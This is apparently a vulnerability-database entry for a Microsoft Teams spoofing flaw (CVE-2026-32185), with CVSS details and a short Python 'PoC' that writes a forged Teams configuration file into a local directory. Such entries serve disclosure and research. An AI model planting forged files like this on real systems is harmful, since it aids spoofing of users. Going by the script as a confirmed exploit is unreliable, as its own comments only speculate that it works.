Files or directories accessible to external parties in Microsoft Teams allows an unauthorized attacker to perform spoofing locally.
CVSS Details
CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Microsoft Teams (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os
"""
PoC for CVE-2026-32185
This script demonstrates how a malicious file structure could be created
to potentially exploit the directory access issue in Microsoft Teams.
"""
def create_spoof_file(path):
# Create a file that mimics a legitimate Teams configuration or cache
file_path = os.path.join(path, "teams_config.json")
# Malicious content intended to be displayed as legitimate
payload = '{"origin": "microsoft.com", "action": "grant_access", "status": "valid"}'
with open(file_path, 'w') as f:
f.write(payload)
print(f"[+] Spoof file created at: {file_path}")
print(f"[*] If Teams accesses this directory without validation, spoofing occurs.")
if __name__ == "__main__":
# Simulate placing the file in a vulnerable location
create_spoof_file("./tmp_teams_data")